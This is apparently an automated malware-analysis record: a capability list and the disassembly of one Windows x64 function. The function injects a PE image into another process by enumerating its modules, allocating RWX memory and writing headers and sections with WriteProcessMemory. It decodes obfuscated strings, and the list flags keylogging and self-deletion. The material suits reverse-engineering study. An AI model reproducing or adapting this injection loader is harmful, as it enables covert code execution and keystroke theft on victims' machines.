Function at 0x1400217e0
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Create directory
Delete directory
Delete file
Enumerate process modules
Execute command
Log keystrokes
Resolve function by parsing pe exports
Resume thread
Self delete
Set console window title

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x8dc8
call fcn.140317210
sub rsp, rax
mov dword [rsp + 0x78], 0
lea rax, [rsp + 0x5280]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x5280]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x5280]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, [0x140365b90]
lea rcx, [rsp + 0x5280]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r8, [rsp + 0x35f8]
lea rdx, [rsp + 0x5280]
lea rcx, [rsp + 0x700]
call fcn.140034600
nop
lea rcx, [rsp + 0x700]
call fcn.140020370
movzx eax, al
test eax, eax
je 0x1400218cd
lea rdx, str.____Could_not_locate_binary_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1c88], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1c88]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0xe8], 0
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xe8]
jmp 0x140030671
mov qword [rsp + 0x8f0], 0
lea rdx, str.naMupJWdMv5zM2WyoaElYaS5rD
lea rcx, [rsp + 0x2a48]
call fcn.1400064f0
nop
lea rdx, [rsp + 0x2a48]
lea rcx, [rsp + 0x2de8]
call fcn.1400078c0
mov qword [rsp + 0x1c90], rax
mov rax, qword [rsp + 0x1c90]
mov qword [rsp + 0x1c98], rax
mov rdx, qword [rsp + 0x1c98]
lea rcx, [rsp + 0x2dc8]
call fcn.140006e50
mov qword [rsp + 0x1ca0], rax
mov rax, qword [rsp + 0x1ca0]
mov qword [rsp + 0x1ca8], rax
mov rdx, qword [rsp + 0x1ca8]
lea rcx, [rsp + 0xf58]
call fcn.1400078c0
nop
lea rcx, [rsp + 0x2dc8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2de8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2a48]
call fcn.1400067e0
lea rdx, [0x140365b54]
lea rcx, [rsp + 0xee0]
call fcn.140009a50
nop
lea rax, [rsp + 0xf58]
mov qword [rsp + 0xe30], rax
mov rcx, qword [rsp + 0xe30]
call fcn.14000ae90
mov qword [rsp + 0x690], rax
mov rcx, qword [rsp + 0xe30]
call fcn.14001df70
mov qword [rsp + 0x1cb0], rax
jmp 0x1400219eb
mov rax, qword [rsp + 0x690]
inc rax
mov qword [rsp + 0x690], rax
mov rax, qword [rsp + 0x1cb0]
cmp qword [rsp + 0x690], rax
je 0x140021a2a
mov rax, qword [rsp + 0x690]
movzx eax, byte [rax]
mov byte [rsp + 0xe9], al
movsx ax, byte [rsp + 0xe9]
movzx edx, ax
lea rcx, [rsp + 0xee0]
call fcn.140018e20
jmp 0x1400219d8
lea r9, [rsp + 0xa74]
mov r8d, 0x2000
lea rdx, [rsp + 0x6dc0]
mov rcx, qword [0x1404a27f0]
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x140021b6c
mov dword [rsp + 0x124], 0
jmp 0x140021a71
mov eax, dword [rsp + 0x124]
inc eax
mov dword [rsp + 0x124], eax
mov eax, dword [rsp + 0xa74]
xor edx, edx
mov ecx, 8
div rcx
mov ecx, dword [rsp + 0x124]
cmp rcx, rax
jae 0x140021b6c
mov eax, dword [rsp + 0x124]
mov r9d, 0x208
lea r8, [rsp + 0x5cd0]
mov rdx, qword [rsp + rax*8 + 0x6dc0]
mov rcx, qword [0x1404a27f0]
call sub.KERNEL32.dll_K32GetModuleFileNameExW
test eax, eax
je 0x140021b67
lea rdx, [rsp + 0x5cd0]
lea rcx, [rsp + 0x2e08]
call fcn.140009a50
mov qword [rsp + 0x1cb8], rax
mov rax, qword [rsp + 0x1cb8]
mov qword [rsp + 0x1db0], rax
xor r8d, r8d
lea rdx, [rsp + 0xee0]
mov rcx, qword [rsp + 0x1db0]
call fcn.1400208b0
cmp rax, 0xffffffffffffffff
je 0x140021b1b
mov dword [rsp + 0x44c], 1
jmp 0x140021b26
mov dword [rsp + 0x44c], 0
movzx eax, byte [rsp + 0x44c]
mov byte [rsp + 0xea], al
lea rcx, [rsp + 0x2e08]
call fcn.140017380
movzx eax, byte [rsp + 0xea]
test eax, eax
je 0x140021b67
mov eax, dword [rsp + 0x124]
mov rax, qword [rsp + rax*8 + 0x6dc0]
mov qword [rsp + 0x8f0], rax
jmp 0x140021b6c
jmp 0x140021a61
cmp qword [rsp + 0x8f0], 0
jne 0x140021be5
lea rdx, str.Could_not_locate_module
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1db8], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1db8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0xeb], 0
lea rcx, [rsp + 0xee0]
call fcn.140017380
nop
lea rcx, [rsp + 0xf58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xeb]
jmp 0x140030671
lea rdx, str.DJqVMaWyD2WzM1clMzMhqUV
lea rcx, [rsp + 0x2b68]
call fcn.1400064f0
nop
lea rdx, [rsp + 0x2b68]
lea rcx, [rsp + 0x2ec8]
call fcn.1400078c0
mov qword [rsp + 0x1dc0], rax
mov rax, qword [rsp + 0x1dc0]
mov qword [rsp + 0x1dc8], rax
mov rdx, qword [rsp + 0x1dc8]
lea rcx, [rsp + 0x2ea8]
call fcn.140006e50
mov qword [rsp + 0x1dd0], rax
mov rax, qword [rsp + 0x1dd0]
mov qword [rsp + 0x1dd8], rax
mov rdx, qword [rsp + 0x1dd8]
lea rcx, [rsp + 0x2e88]
call fcn.1400078c0
mov qword [rsp + 0x1de0], rax
mov rax, qword [rsp + 0x1de0]
mov qword [rsp + 0x1de8], rax
mov rcx, qword [rsp + 0x1de8]
call fcn.14000ae90
mov qword [rsp + 0x1e18], rax
lea rdx, str.naMuZmWbYaS5rD
lea rcx, [rsp + 0x2b48]
call fcn.1400064f0
nop
lea rdx, [rsp + 0x2b48]
lea rcx, [rsp + 0x2e68]
call fcn.1400078c0
mov qword [rsp + 0x1df0], rax
mov rax, qword [rsp + 0x1df0]
mov qword [rsp + 0x1df8], rax
mov rdx, qword [rsp + 0x1df8]
lea rcx, [rsp + 0x2e48]
call fcn.140006e50
mov qword [rsp + 0x1e00], rax
mov rax, qword [rsp + 0x1e00]
mov qword [rsp + 0x1e08], rax
mov rdx, qword [rsp + 0x1e08]
lea rcx, [rsp + 0x2e28]
call fcn.1400078c0
mov qword [rsp + 0x1e10], rax
mov rcx, qword [rsp + 0x1e10]
call fcn.14000ae90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x1e20], rax
mov rdx, qword [rsp + 0x1e18]
mov rcx, qword [rsp + 0x1e20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x2e28]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2e48]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2e68]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2b48]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2e88]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2ea8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2ec8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2b68]
call fcn.1400067e0
mov rax, qword [rsp + 0x8f0]
add rax, 0x280000
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x2d8]
sub rax, 0x1000
mov qword [rsp + 0xad8], rax
mov rax, qword [rsp + 0x2d8]
add rax, 0x800
mov qword [rsp + 0xe60], rax
mov rax, qword [rsp + 0x2d8]
add rax, 0xc00
mov qword [rsp + 0x900], rax
mov rax, qword [rsp + 0xe60]
add rax, 0x800
mov qword [rsp + 0x698], rax
mov rax, qword [rsp + 0x698]
add rax, 0x200
mov qword [rsp + 0x28e8], rax
mov rax, qword [rsp + 0x698]
add rax, 0x400
mov qword [rsp + 0x2390], rax
mov rax, qword [rsp + 0x698]
add rax, 0x800
mov qword [rsp + 0xe90], rax
mov rax, qword [rsp + 0x698]
add rax, 0x810
mov qword [rsp + 0x1e28], rax
mov rax, qword [rsp + 0x1e28]
add rax, 0x800
mov qword [rsp + 0xe40], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xe38], rax
mov rax, qword [rsp + 0xe38]
add rax, 0x100
mov qword [rsp + 0x2398], rax
mov rax, qword [rsp + 0xe38]
add rax, 0xc00
mov qword [rsp + 0x23a0], rax
mov rax, qword [rsp + 0xe40]
mov qword [rsp + 0x1d8], rax
lea rcx, [rsp + 0x700]
call fcn.14001f2e0
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0x6a8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x6a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a0], rax
mov rax, qword [rsp + 0x6a0]
add rax, 4
mov qword [rsp + 0x1008], rax
mov rax, qword [rsp + 0x6a0]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x6a0]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x6a0]
mov eax, dword [rax + 0x50]
add eax, 0x2000
mov eax, eax
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1078], rax
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d8]
lea rcx, [rsp + 0xe18]
call fcn.140013b50
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x2d8]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rsp + 0x2d0]
call fcn.140317128
mov qword [rsp + 0x1e30], rax
mov rax, qword [rsp + 0x1e30]
mov qword [rsp + 0x8f8], rax
mov rdi, qword [rsp + 0x8f8]
xor eax, eax
mov rcx, qword [rsp + 0x2d0]
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x8f8]
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x8f8]
mov qword [rsp + 0x1e98], rax
mov rcx, qword [rsp + 0x1e98]
call fcn.140316ea4
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax]
mov qword [rsp + 0x1030], rax
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax + 8]
mov qword [rsp + 0xe88], rax
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x1038], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x6a8]
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002218a
lea rdx, str.Cant_write_file_header:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1ea0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa80], eax
mov edx, dword [rsp + 0xa80]
mov rcx, qword [rsp + 0x1ea0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rsp + 0x1ea8], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1ea8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0xec], 0
lea rcx, [rsp + 0xe18]
call fcn.140017680
nop
lea rcx, [rsp + 0xee0]
call fcn.140017380
nop
lea rcx, [rsp + 0xf58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xec]
jmp 0x140030671
mov dword [rsp + 0x2b0], 0
jmp 0x1400221bb
mov eax, dword [rsp + 0x2b0]
inc eax
mov dword [rsp + 0x2b0], eax
mov rax, qword [rsp + 0x3c0]
add rax, 0x28
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x1008]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x2b0], eax
je 0x1400222bf
mov rax, qword [rsp + 0x3c0]
cmp dword [rax + 0x10], 0
je 0x1400222ba
mov rax, qword [rsp + 0x3c0]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0xa84], eax
mov rax, qword [rsp + 0x3c0]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x6a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1010], rax
mov rax, qword [rsp + 0x3c0]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0xe40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1018], rax
mov eax, dword [rsp + 0xa84]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x1010]
mov rdx, qword [rsp + 0x1018]
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400222ba
mov byte [rsp + 0xed], 0
lea rcx, [rsp + 0xe18]
call fcn.140017680
nop
lea rcx, [rsp + 0xee0]
call fcn.140017380
nop
lea rcx, [rsp + 0xf58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xed]
jmp 0x140030671
jmp 0x140022197
lea rcx, [rsp + 0x25d0]
call fcn.140015970
nop
xor edx, edx
lea rcx, [rsp + 0x700]
call fcn.140018400
lea r8, [rsp + 0x25d0]
mov rdx, rax
mov rcx, qword [rsp + 0x1d8]
call fcn.140033920
nop
lea rcx, [rsp + 0x25d0]
call fcn.1400176e0
lea rdx, [0x140365c84]
lea rcx, [rsp + 0x2b88]
call fcn.1400064f0
nop
xor edx, edx
lea rcx, [rsp + 0x700]
call fcn.140018400
lea r8, [rsp + 0x2b88]
mov rdx, rax
mov rcx, qword [rsp + 0x1d8]
call fcn.140020ed0
mov qword [rsp + 0xe48], rax
lea rcx, [rsp + 0x2b88]
call fcn.1400067e0
cmp qword [rsp + 0xe48], 0
jne 0x1400223da
lea rdx, str.No_entry_point
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1020], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1020]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0xee], 0
lea rcx, [rsp + 0xe18]
call fcn.140017680
nop
lea rcx, [rsp + 0xee0]
call fcn.140017380
nop
lea rcx, [rsp + 0xf58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xee]
jmp 0x140030671
lea rdx, [rsp + 0xe48]
mov rcx, qword [rsp + 0xe90]
call fcn.140013f40
mov qword [rsp + 0x1068], 0
mov dword [rsp + 0x1c68], 0
mov rax, qword [rsp + 0x1d8]
sub rax, 0x340
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x1d8]
sub rax, 0x260
mov qword [rsp + 0x23a8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [0x1404a27f0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
add rax, 0x800
mov qword [rsp + 0x1028], rax
mov rax, qword [rsp + 0x1028]
add rax, 0x40
mov qword [rsp + 0x23b0], rax
mov rax, qword [rsp + 0x1d0]
add rax, 0xc00
mov qword [rsp + 0x4e8], rax
mov rax, qword [rsp + 0x4e8]
add rax, 0x180
mov qword [rsp + 0x2540], rax
mov rax, qword [rsp + 0x4e8]
add rax, 0x188
mov qword [rsp + 0x2548], rax
mov rax, qword [rsp + 0x4e8]
add rax, 0x190
mov qword [rsp + 0x2550], rax
mov rax, qword [rsp + 0x4e8]
add rax, 0x178
mov qword [rsp + 0x2558], rax
mov rax, qword [rsp + 0x1d0]
add rax, 0x1000
mov qword [rsp + 0x2560], rax
mov rax, qword [rsp + 0x1d0]
add rax, 0x1400
mov qword [rsp + 0xe50], rax
mov rax, qword [rsp + 0x1d0]
add rax, 0x17c0
mov qword [rsp + 0x10a8], rax
mov rax, qword [rsp + 0x1d0]
add rax, 0x1800
mov qword [rsp + 0x24b8], rax
mov rax, qword [rsp + 0x8de0]
add rax, 0x7cc
mov rdx, rax
lea rcx, [rsp + 0x2968]
call fcn.140009a50
nop
lea rdx, [rsp + 0x2968]
mov rcx, qword [rsp + 0xe50]
call fcn.1402c70a0
nop
lea rcx, [rsp + 0x2968]
call fcn.140017380
lea rdx, [rsp + 0x1030]
mov rcx, qword [rsp + 0x48]
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 8
lea rdx, [rsp + 0xe88]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0x10
lea rdx, [rsp + 0x1038]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0x18
lea rdx, [rsp + 0xe50]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0x20
lea rdx, [rsp + 0x1d0]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x8de0]
mov edx, dword [rax + 0xb8]
lea rcx, [rsp + 0x25e8]
call fcn.140020500
nop
lea rax, [rsp + 0x25e8]
mov qword [rsp + 0xe58], rax
mov rcx, qword [rsp + 0xe58]
call fcn.1400085d0
mov qword [rsp + 0x6b0], rax
mov rcx, qword [rsp + 0xe58]
call fcn.14000ab80
mov qword [rsp + 0x1040], rax
jmp 0x14002266e
mov rax, qword [rsp + 0x6b0]
add rax, 4
mov qword [rsp + 0x6b0], rax
mov rax, qword [rsp + 0x1040]
cmp qword [rsp + 0x6b0], rax
je 0x1400226be
mov rax, qword [rsp + 0x6b0]
mov eax, dword [rax]
mov dword [rsp + 0xa88], eax
mov rax, qword [rsp + 0x8de0]
add rax, 0x3a0
mov qword [rsp + 0x1048], rax
lea rdx, [rsp + 0xa88]
mov rcx, qword [rsp + 0x1048]
call fcn.140034190
jmp 0x14002265a
lea rcx, [rsp + 0x25e8]
call fcn.1400176a0
lea rcx, [rsp + 0xf00]
call fcn.140015970
nop
mov rax, qword [rsp + 0x8de0]
add rax, 0x3a0
mov rcx, rax
call fcn.140035900
shl rax, 2
mov rdx, rax
lea rcx, [rsp + 0xf00]
call fcn.140035360
mov rax, qword [rsp + 0x8de0]
add rax, 0x3a0
mov rcx, rax
call fcn.140035900
shl rax, 2
mov qword [rsp + 0x1058], rax
mov rcx, qword [rsp + 0x8de0]
add rcx, 0x3a0
call fcn.14001f2e0
mov qword [rsp + 0x1050], rax
xor edx, edx
lea rcx, [rsp + 0xf00]
call fcn.140018400
mov rdi, rax
mov rax, qword [rsp + 0x1050]
mov rsi, rax
mov rax, qword [rsp + 0x1058]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf00]
mov rcx, qword [rsp + 0x1d0]
call fcn.140013e50
mov rax, qword [rsp + 0x8de0]
add rax, 0x3a0
mov rcx, rax
call fcn.140035900
mov qword [rsp + 0x1060], rax
mov rax, qword [rsp + 0x48]
add rax, 0x28
lea rdx, [rsp + 0x1060]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x8de0]
add rax, 0x98
mov rcx, qword [rsp + 0x48]
add rcx, 0x30
mov rdx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x8de0]
add rax, 0xa8
mov rcx, qword [rsp + 0x48]
add rcx, 0x38
mov rdx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0x40
lea rdx, [rsp + 0xe60]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x1068]
mov rcx, qword [rsp + 0xe88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1070], rax
mov rax, qword [rsp + 0x48]
add rax, 0x48
lea rdx, [rsp + 0x1070]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0x50
lea rdx, [rsp + 0x1078]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0x58
lea rdx, [rsp + 0x2d0]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x8de0]
add rax, 0x88
mov rcx, qword [rsp + 0x48]
add rcx, 0x60
mov rdx, rax
call fcn.140013f40
mov dword [rsp + 0xa8c], 0
mov rax, qword [rsp + 0x48]
add rax, 0x68
lea rdx, [rsp + 0xa8c]
mov rcx, rax
call fcn.140013ee0
mov dword [rsp + 0x798], 0
mov rax, qword [rsp + 0x48]
add rax, 0x70
lea rdx, [rsp + 0x798]
mov rcx, rax
call fcn.140013ee0
mov rax, qword [rsp + 0x8de0]
add rax, 0x7cc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x79c], eax
mov rax, qword [rsp + 0x48]
add rax, 0x78
lea rdx, [rsp + 0x79c]
mov rcx, rax
call fcn.140013ee0
mov qword [rsp + 0x1080], 1
mov rax, qword [rsp + 0x48]
add rax, 0x80
lea rdx, [rsp + 0x1080]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x8de0]
add rax, 0x48
mov rcx, qword [rsp + 0x48]
add rcx, 0x88
mov rdx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax + 0x90]
mov qword [rsp + 0x1088], rax
mov rax, qword [rsp + 0x48]
add rax, 0xa0
lea rdx, [rsp + 0x1088]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0xa8
lea rdx, [0x140497c20]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x8de0]
movsxd rax, dword [rax + 0x398]
mov qword [rsp + 0x1090], rax
mov rax, qword [rsp + 0x48]
add rax, 0xb0
lea rdx, [rsp + 0x1090]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x8de0]
add rax, 0x330
mov rcx, qword [rsp + 0x48]
add rcx, 0xb8
mov rdx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0xc0
lea rdx, [rsp + 0x4e8]
mov rcx, rax
call fcn.140013f40
mov qword [rsp + 0x1098], 0
mov rax, qword [rsp + 0x48]
add rax, 0xc8
lea rdx, [rsp + 0x1098]
mov rcx, rax
call fcn.140013f40
mov qword [rsp + 0x10a0], 0
mov rax, qword [rsp + 0x48]
add rax, 0xd0
lea rdx, [rsp + 0x10a0]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0xd8
lea rdx, [rsp + 0x10a8]
mov rcx, rax
call fcn.140013f40
mov qword [rsp + 0x10b0], 0
mov rax, qword [rsp + 0x48]
add rax, 0xe0
lea rdx, [rsp + 0x10b0]
mov rcx, rax
call fcn.140013f40
mov qword [rsp + 0x10b8], 0
mov rax, qword [rsp + 0x48]
add rax, 0xe8
lea rdx, [rsp + 0x10b8]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x48]
add rax, 0x80
mov qword [rsp + 0x2568], rax
lea rdx, str.PvNtVPNtVPNtrz52LGbXVPNtVPNtVPNtVPNtL2uzqFOyZGHXVPNtVPNtVPNtVPNtrzWcVTHkAFjtMJMwPvNtVPNtVPNtVPNtVP8iMzuiVTIzLljtZQNjZQNjBGO1PvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rzcvMKRtL2qyJ2IzL10fVTg6rwNXVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6nzWypFOwM2IoMJMwVPftZGO1KFjtn3c6ZDbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOeracdLzIkVTAaMIgyMzZtXlNlZUIqYPOerablPvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rzcvMKRtL2qyJ2IzLlNeVQZjqI0fVTg6rwZXVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6nzWypFOwM2IoMJMwVPftAQO1KFjtn3c6ANbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOeracdLzIkVTAaMIgyMzZtXlN1ZUIqYPOerab1PvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rzcvMKRtL2qyJ2IzLlNeVQLjqI0fVTg6rwLXVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6nzWypFOwM2IoMJMwVPftAmO1KFjtn3c6AjbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOeracdLzIkVTAaMIgyMzZtXlN4ZUIqYPOerab4PvNtVPNtVPNtVPNtVTAbMaImMNbtVPNtVPNtVPNtVPOwnTM1VTIhnjbtVPNtVPNtVPNtVPOwnTM1VTIjnjbtVPNtVPNtVPNtVPOwnTM1VTIknjbtVPNtVPNtVPNtVPOwnTM1VTIinjbtVPNtVPNtVPNtVPOwnTM1VTIzLjbtVPNtVPNtVPNtVPOwnTM1VTIiLjbtVPNtVPNtVPNtVPOwnTM1VTIzqtbtVPNtVPNtVPNtVPOwnTM1VTIkqtbtVPNtVPNtVPNtVPOwnTM1VTH4PvNtVPNtVPNtVPNtVTAbMaHtMGxXVPNtVPNtVPNtVPNtL2uzqFOyZGNXVPNtVPNtVPNtVPNtL2uzqFOyZGRXVPNtVPNtVPNtVPNtL2uzqFOyZGVXVPNtVPNtVPNtVPNtL2uzqFOyZGZXVPNtVPNtVPNtVPNtL2uzqFOyZGDXVPNtVPNtVPNtVPNtMzuiVTIzLljtZQNjZQRjZQO1PvNtVPNtVPNtVPNtVUcvnFOypTffVPHjZGM5rHg1PvNtVPNtVPNtVPNtVUOhrKxtJlHjZGM5rHg1KDbtVPNtVPNtVPNtVPOhpKRtMJMwYPNjZQNjZGNjZUHXVPNtVPNtVPNtVPNtL2WwVTHkANbtVPNtVPNtVPNtVPOwLzZtMGRmPvNtVPNtVPNtVPNtVTAvLlOyZGVXVPNtVPNtVPNtVPNtL2WwVTHkZDbtVPNtVPNtVPNtVPOwLzZtMGRjPvNtVPNtVPNtVPNtVTAvLlOyBDbtVPNtVPNtVPNtVPOwLzZtMGtXVPNtVPNtVPNtVPNtL2WwVTIkqtbtVPNtVPNtVPNtVPOwLzZtMJM2PvNtVPNtVPNtVPNtVTAvLlOyo2ZXVPNtVPNtVPNtVPNtL2WwVTIzLjbtVPNtVPNtVPNtVPOwLzZtMJ9ePvNtVPNtVPNtVPNtVTAvLlOypJfXVPNtVPNtVPNtVPNtL2WwVTIjnjbtVPNtVPNtVPNtVPOwLzZtMJ5ePvNtVPNtVPNtVPNtVTAvL3AxPvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rwNfVTg6rzcvMKRtL2qyJ2IzL10XVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6ZFjtn3c6nzWypFOwM2IoMJMwVPftZGO1KDbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOerablYPOeracdLzIkVTAaMIgyMzZtXlNlZUIqPvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rwZfVTg6rzcvMKRtL2qyJ2IzLlNeVQZjqI0XVPNtVPNtVPNtVPNtYl96LzyhL2Ltn3c6APjtn3c6nzWypFOwM2IoMJMwVPftAQO1KDbtVPNtVPNtVPNtVPNiY3cvnJ5wMvOerab1YPOeracdLzIkVTAaMIgyMzZtXlN1ZUIqPvNtVPNtVPNtVPNtVP8irzWcozAzVTg6rwLfVTg6rzcvMKRtL2qyJ2IzLlNeVQ